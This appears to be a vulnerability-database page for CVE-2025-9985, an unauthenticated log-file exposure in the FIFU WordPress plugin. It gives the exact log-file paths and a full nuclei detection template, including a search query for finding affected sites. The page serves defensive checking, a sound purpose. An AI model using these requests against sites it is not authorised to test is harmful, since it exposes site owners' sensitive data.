HexBrain

Browse / CVEs / CVE-2025-9985

CVE-2025-9985

Featured Image from URL (FIFU) <= 5.2.7 - Unauthenticated Information Exposure via Log File

mediumseverity
13.3%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.2.7 through publicly exposed log files. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log files.

Impact

Unauthenticated attackers can view sensitive information from exposed log files, potentially leading to information disclosure.

Fix

Update to the latest version of the Featured Image from URL (FIFU) plugin.

How to confirm it

Send: GET {{BaseURL}}/wp-content/uploads/fifu-plugin.log ; GET {{BaseURL}}/wp-content/uploads/fifu-cloud.log
Positive when: contains "{\"fifu-dimensions\":" and "\"Invalid size:" AND status 200

Run it with nuclei: nuclei -id CVE-2025-9985 -u <target>

The full check
id: CVE-2025-9985

info:
  name: Featured Image from URL (FIFU) <= 5.2.7 - Unauthenticated Information Exposure via Log File
  author: zer0p0int
  severity: medium
  description: |
    The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.2.7 through publicly exposed log files. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log files.
  impact: |
    Unauthenticated attackers can view sensitive information from exposed log files, potentially leading to information disclosure.
  remediation: |
    Update to the latest version of the Featured Image from URL (FIFU) plugin.
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/featured-image-from-url/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,unauth,vuln,featured-image-from-url,log,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/fifu-plugin.log"
      - "{{BaseURL}}/wp-content/uploads/fifu-cloud.log"

    redirects: true
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"fifu-dimensions":'
          - '"Invalid size:'
        condition: and

      - type: status
        status:
          - 200

Use this check only on systems you are authorised to test. Where the data comes from